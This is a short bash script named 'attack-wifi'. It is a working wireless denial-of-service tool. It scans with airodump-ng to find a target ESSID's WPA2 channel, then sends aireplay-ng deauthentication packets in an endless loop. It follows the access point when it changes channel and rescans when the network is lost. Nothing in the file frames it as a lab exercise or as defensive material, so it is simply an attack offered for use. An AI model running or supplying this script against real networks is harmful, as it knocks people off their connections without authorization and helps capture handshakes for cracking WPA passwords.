attack-wifi

#!/bin/bash
ESSID=$1
INTF=wlan0

if [[ "$ESSID" == "" ]]; then
echo "Usage: $0 ESSID"
ESSID=$1
exit 0
fi

TAIL_PID=

get_channel() {
	rm -f dump
	stdbuf -oL airodump-ng --essid $ESSID -U $INTF > dump 2>&1 &
	PID=$!
	sleep 10
	kill $PID
	fgrep WPA2 dump | tail -1 | awk '{print $6}'
}
term() {
    #rm -f output
    kill $TAIL_PID
}

trap "term;exit" SIGINT SIGTERM


echo "Scanning $ESSID for AP channel"
read CHANNEL <<< $(get_channel)
echo "Target channel has changed to $CHANNEL, resetting current wifi channel"

if [[ "$CHANNEL" -ne "" ]]; then
	iwconfig $INTF channel $CHANNEL
fi
while true ;do 
	echo > output
	stdbuf -o0 aireplay-ng --deauth 10 -e $ESSID $INTF >output 2>&1 &
	AIREPLAY_PID=$!
	tail -f output &
	TAIL_PID=$!
	wait $AIREPLAY_PID
	kill -9 $TAIL_PID
	CHANNEL=`grep 'but the AP uses channel' output | sed 's/.* \([0-9]\+\)$/\1/'`
	if [[ "$CHANNEL" -ne "" ]]; then
		echo "Target channel has changed to $CHANNEL, resetting current wifi channel"
		iwconfig $INTF channel $CHANNEL
		sleep 60
		#airmon-ng start wlan0 $CHANNEL
	fi
	ERROR=`cat output | grep 'No such'|wc -l`
	echo "Error = $ERROR"
	if [[ "$ERROR" -ne "0" ]]; then
		echo "Cannot find ESSID $ESSID, try to dump WiFi to find right channel"
		read CHANNEL <<< $(get_channel)
		if [[ "$CHANNEL" -eq "" ]]; then
			echo "$ESSID is offline"
		else
			echo "Target channel has changed to $CHANNEL, resetting current wifi channel"
			iwconfig $INTF channel $CHANNEL
		fi
	fi
	sleep 1
done